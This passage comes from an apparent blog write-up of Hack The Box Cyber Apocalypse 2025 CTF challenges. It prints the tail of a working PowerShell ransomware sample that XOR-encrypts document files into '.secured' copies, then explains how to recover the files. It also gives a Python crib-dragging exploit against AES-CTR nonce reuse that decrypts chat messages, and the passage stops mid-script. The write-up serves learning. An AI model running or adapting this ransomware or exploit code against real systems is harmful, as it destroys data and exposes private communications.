    </span><span class="kr">return</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">(</span><span class="nv">$encrypted_bytes</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">do_ransomware</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">switch</span><span class="p">]</span><span class="nv">$do_it</span><span class="p">)</span><span class="w">
    </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$do_it</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$ext</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="n">extensions_list</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nv">$target_folder</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"dca01aq2/"</span><span class="w">
                </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nv">$target_folder</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$target_folder</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="w"> </span><span class="o">|</span><span class="w">
                        </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Extension</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s2">"^\.</span><span class="nv">$ext</span><span class="s2">$"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w">
                        </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
                            </span><span class="nv">$file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">FullName</span><span class="w">
                            </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nv">$file</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nv">$original_bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="nv">$file</span><span class="p">)</span><span class="w">
                                </span><span class="nv">$encrypted</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">do_encryption</span><span class="w"> </span><span class="nv">$original_bytes</span><span class="w"> </span><span class="nv">$key0</span><span class="w"> </span><span class="nv">$key1</span><span class="w">
                                </span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">WriteAllText</span><span class="p">(</span><span class="s2">"</span><span class="nv">$file</span><span class="s2">.secured"</span><span class="p">,</span><span class="w"> </span><span class="nv">$encrypted</span><span class="p">)</span><span class="w">
                                </span><span class="c"># Remove-Item $file -Force</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="kr">catch</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="n">do_ransomware</span><span class="w"> </span><span class="nt">-do_it</span><span class="w">
</span></code></pre></div></div>

<p>And the TLDR is:</p>
<ul>
  <li>Grab all <code class="language-plaintext highlighter-rouge">.txt</code>, <code class="language-plaintext highlighter-rouge">.doc</code>, <code class="language-plaintext highlighter-rouge">.docx</code> and <code class="language-plaintext highlighter-rouge">.pdf</code> files inside folder <code class="language-plaintext highlighter-rouge">dca01aq2/</code></li>
  <li>XOR-encrypt each byte of those files with pieces of two keys</li>
  <li>Base64-encode the result and write it to a file with an added <code class="language-plaintext highlighter-rouge">.secured</code> extension</li>
  <li>Delete the original file</li>
</ul>

<h3 id="decryption">Decryption</h3>

<p>Fortunately, we have the two encryption keys embedded in the script itself, and all it takes to reverse XOR encryption is to XOR the cyphertext back with the same key.
We can even reuse the same powershell script for that purpose:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">base64</span> <span class="nt">-d</span> map.pdf.secured <span class="o">&gt;</span> map.pdf.decoded         <span class="c"># base64-decode the .secured file</span>
<span class="nv">$ </span><span class="nb">mkdir </span>dca01aq2/                                     <span class="c"># make sure dca01aq2/ folder exists</span>
<span class="nv">$ </span><span class="nb">cp </span>map.pdf.decoded dca01aq2/map.pdf                 <span class="c"># rename encrypted file with .pdf extension</span>
<span class="nv">$ </span>pwsh ./obfuscated.ps1                               <span class="c"># run the same script to reverse encryption + base64-encode</span>
<span class="nv">$ </span><span class="nb">base64</span> <span class="nt">-d</span> dca01aq2/map.pdf.secured <span class="o">&gt;</span> decrypted.bin  <span class="c"># base64 decode to recover original file</span>
</code></pre></div></div>

<p>We can verify that the decrypted file really is a PDF, then view it to get the flag:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-decrypt.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-decrypt.png" alt="reversing the encryption" /></a></figure>

<h2 id="crypto---traces">Crypto - Traces</h2>

<blockquote>
  <p>Long ago, a sacred message was sealed away, its meaning obscured by the overlapping echoes of its own magic.
The careless work of an enchanter has left behind a flaw - a weakness hidden within repetition.
With keen eyes and sharper wits, can you untangle the whispers of the past and restore the lost words?</p>
</blockquote>

<p>In this challenge, we’re given an instance of a server running on a certain IP+port, and part of the Python code running on that server.
You can find a verbatim copy of <code class="language-plaintext highlighter-rouge">server.py</code> <a href="https://gist.github.com/baioc/a12b822b27914de54abd3189b967bab4">here</a>.</p>

<h3 id="server-interaction">Server Interaction</h3>

<p>We’re able to to connect to the server using netcat, and try out a few commands:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/traces-irc.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/traces-irc.png" alt="trying out the server" /></a></figure>

<p>A few things we noticed:</p>
<ul>
  <li>We can see past messages, but they are encrypted</li>
  <li>Even in encrypted messages, usernames and timestamps are stored in plain text</li>
  <li>Among encrypted messages, we have repeated cypher texts</li>
</ul>

<h3 id="local-reproduction">Local Reproduction</h3>

<p>The source code can’t be executed out of the box since we’re missing a <code class="language-plaintext highlighter-rouge">db</code> module, but it’s easy enought to provide some local variables as a substitute.
Furthermore, the code never saves new messages, and merely decrypts old ones when we join a chat room.
That’s also easy to fix, and we can then start playing with it locally:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/traces-local.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/traces-local.png" alt="patching the source to run it locally" /></a></figure>

<p>We can now confirm that equal messages are encrypted to the same cypher text.
Looking back at the challenge description, it seems we can explore this “weakness hidden within repetition”.</p>

<h3 id="cryptoanalysis">Cryptoanalysis</h3>

<p>Looking at the source, we see that encryption is done with:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encrypted_message</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">counter</span><span class="o">=</span><span class="n">Counter</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">128</span><span class="p">)).</span><span class="nf">encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</code></pre></div></div>

<p>And, knowing <a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_(CTR)">how AES-CTR works</a>, we can assume that the same nonce is being reused when encrypting each message.
We can validate that by grabbing one of the last few encrypted messages and XORing with the plain text <code class="language-plaintext highlighter-rouge">!leave</code>, assuming that’s what the previous users typed in chat.
Then, we XOR that result with the beginning of every other message:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">):</span>
<span class="p">...</span>    <span class="k">return</span> <span class="nf">bytearray</span><span class="p">(</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">))</span>
<span class="o">&gt;&gt;&gt;</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">msgs</span> <span class="o">=</span> <span class="p">[</span>
<span class="p">...</span>    <span class="sh">"</span><span class="s">a9810fdc6aac809930ad4152c7d5</span><span class="sh">"</span><span class="p">,</span>
<span class="p">...</span>    <span class="sh">"</span><span class="s">a9810fdc6aac978230b24a51c8dcd7</span><span class="sh">"</span><span class="p">,</span>
<span class="p">...</span>    <span class="sh">"</span><span class="s">a9810fdc6aac968331a5455fc0d5da21</span><span class="sh">"</span><span class="p">,</span>
<span class="p">...</span>    <span class="c1"># ...
</span><span class="p">...</span>    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
<span class="p">...</span>    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
<span class="p">...</span>    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
<span class="o">&gt;&gt;&gt;</span> <span class="p">]</span>
<span class="o">&gt;&gt;&gt;</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">C</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msgs</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">M</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">!leave</span><span class="sh">"</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">X</span> <span class="o">=</span> <span class="nf">xor</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>
<span class="o">&gt;&gt;&gt;</span>
<span class="o">&gt;&gt;&gt;</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">msg</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">msgs</span><span class="p">):</span>
<span class="p">...</span>    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">decrypt[</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">]:</span><span class="sh">"</span><span class="p">,</span> <span class="nf">xor</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msg</span><span class="p">)))</span>
</code></pre></div></div>

<p>And we get:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">decrypt</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick </span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick </span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick </span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">3</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">We</span><span class="se">\'</span><span class="s">ve </span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">4</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Unders</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">5</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Not ye</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">6</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">This c</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">7</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Here i</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">8</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Got it</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Yes. O</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">10</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">I</span><span class="se">\'</span><span class="s">m ch</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">11</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Keep m</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">12</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">I</span><span class="se">\'</span><span class="s">ll c</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">13</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">If eve</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">14</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Hold o</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">15</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">We can</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">16</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Agreed</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">17</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Unders</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">18</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">19</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">20</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>

<p>Yes!
Now, even without having the original encryption key (like we had in the previous challenge), we can decrypt the first few characters of all messages.</p>

<h3 id="known-plaintext-attack">Known-Plaintext Attack</h3>

<p>In order to decrypt the rest, we have to repeat the following process:</p>
<ol>
  <li>Look at what we have decrypted so far</li>
  <li>Guess what the next few characters/words are, in any of these messages</li>
  <li>XOR that (assumed) known-plaintext with the corresponding bytes on the cypher text</li>
  <li>Use the result of the previous step to decrypt the next few bytes on all messages</li>
  <li>Check that the results makes sense</li>
  <li>Repeat from step 1, but now we have decrypted a few more bytes</li>
</ol>

<p>(PS: this is a <a href="https://en.wikipedia.org/wiki/Known-plaintext_attack">known-plaintext attack</a> called <a href="https://crypto.stackexchange.com/a/10163">“crib dragging”</a>)</p>

<p>For example: looking at the first 3 messages, we know that’s the users joining the chat room.
Since we know their usernames, we know that the longest of these 3 messages corresponds to <code class="language-plaintext highlighter-rouge">!nick Runeblight</code>.
So we want the script to XOR <code class="language-plaintext highlighter-rouge">"!nick Runeblight"</code> with <code class="language-plaintext highlighter-rouge">msgs[2]</code>, and use the result of that to decrypt <code class="language-plaintext highlighter-rouge">len("!nick Runeblight")</code> bytes in all messages.</p>

<p>Here’s what I ended up with:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">):</span>
    <span class="k">return</span> <span class="nf">bytearray</span><span class="p">(</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">))</span>

<span class="n">msgs</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">a9810fdc6aac809930ad4152c7d5</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">a9810fdc6aac978230b24a51c8dcd7</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">a9810fdc6aac968331a5455fc0d5da21</span><span class="sh">"</span><span class="p">,</span>
    <span class="c1"># ...
</span>    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">a98303de77e9</span><span class="sh">"</span><span class="p">,</span>
<span class="p">]</span>

<span class="n">C</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msgs</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">M</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">!leave</span><span class="sh">"</span>
<span class="n">X</span> <span class="o">=</span> <span class="nf">xor</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>

<span class="n">texts</span> <span class="o">=</span> <span class="p">[</span>
    <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="sh">"</span><span class="s">Runeblight</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="sh">"</span><span class="s">phrase</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="sh">"</span><span class="s">range </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="sh">"</span><span class="s">ch </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="sh">"</span><span class="s">th </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="sh">"</span><span class="s">ate </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">"</span><span class="s">usted </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">15</span><span class="p">,</span> <span class="sh">"</span><span class="s">annel </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="sh">"</span><span class="s">ight</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="sh">"</span><span class="s">ast</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="sh">"</span><span class="s">careful</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="sh">"</span><span class="s">vate </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">13</span><span class="p">,</span> <span class="sh">"</span><span class="s"> reach</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="sh">"</span><span class="s">gs</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="sh">"</span><span class="s">ve</span><span class="sh">"</span><span class="p">),</span>
<span class="p">]</span>
<span class="k">for</span> <span class="n">cypher_index</span><span class="p">,</span> <span class="n">plain</span> <span class="ow">in</span> <span class="n">texts</span><span class="p">:</span>
    <span class="n">C</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msgs</span><span class="p">[</span><span class="n">cypher_index</span><span class="p">])</span>
    <span class="n">C</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="nf">len</span><span class="p">(</span><span class="n">X</span><span class="p">):]</span>
    <span class="n">M</span> <span class="o">=</span> <span class="n">plain</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>
    <span class="n">X</span> <span class="o">+=</span> <span class="nf">xor</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>

<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">msg</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">msgs</span><span class="p">):</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">decrypt[</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">]:</span><span class="sh">"</span><span class="p">,</span> <span class="nf">xor</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msg</span><span class="p">)))</span>
</code></pre></div></div>

<p>And thus we’re able to decrypt everything in the first channel, until we find the password for the secret chat room:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">decrypt</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick Doomfang</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick Stormbane</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!nick Runeblight</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">3</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">We</span><span class="se">\'</span><span class="s">ve got a new tip about the rebels. Let</span><span class="se">\'</span><span class="s">s keep our chat private.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">4</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Understood. Has there been any sign of them regrouping since our last move?</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">5</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Not yet, but I</span><span class="se">\'</span><span class="s">m checking some unusual signals. If they sense us, we might have</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">6</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">This channel is not safe for long talks. Let</span><span class="se">\'</span><span class="s">s switch to our private room.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">7</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Here is the passphrase for our secure channel: %mi2gvHHCV5f_kcb=Z4vULqoYJ&amp;oR</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">8</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Got it. Only share it with our most trusted allies.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Yes. Our last move may have left traces. We must be very careful.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">10</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">I</span><span class="se">\'</span><span class="s">m checking our logs to be sure no trace of our actions remains.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">11</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Keep me updated. If they catch on, we</span><span class="se">\'</span><span class="s">ll have to act fast.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">12</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">I</span><span class="se">\'</span><span class="s">ll compare the latest data with our backup plan. We must erase any sign we we</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">13</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">If everything is clear, we move to the next stage. Our goal is within reach.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">14</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Hold on. I</span><span class="se">\'</span><span class="s">m seeing strange signals from outside. We might be watched.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">15</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">We can</span><span class="se">\'</span><span class="s">t take any risks. Let</span><span class="se">\'</span><span class="s">s leave this channel before they track us.</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">16</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">Agreed. Move all talks to the private room. Runeblight, please clear the logs h</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">17</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Understood. I</span><span class="se">\'</span><span class="s">m disconnecting now. If they have seen us, we must disappear imme</span><span class="sh">"</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">18</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">19</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">[</span><span class="mi">20</span><span class="p">]:</span> <span class="nf">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">!leave</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>

<p>Unfortunately, the secret channel is also encrypted in the same way, so we have to repeat the procedure:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ...
</span>
<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">------------------------------------------------------------</span><span class="sh">"</span><span class="p">)</span>
<span class="n">msgs</span> <span class="o">=</span> <span class="p">[</span>
    <span class="c1"># encrypted msgs from #secret channel
</span><span class="p">]</span>

<span class="n">texts</span> <span class="o">=</span> <span class="p">[</span>
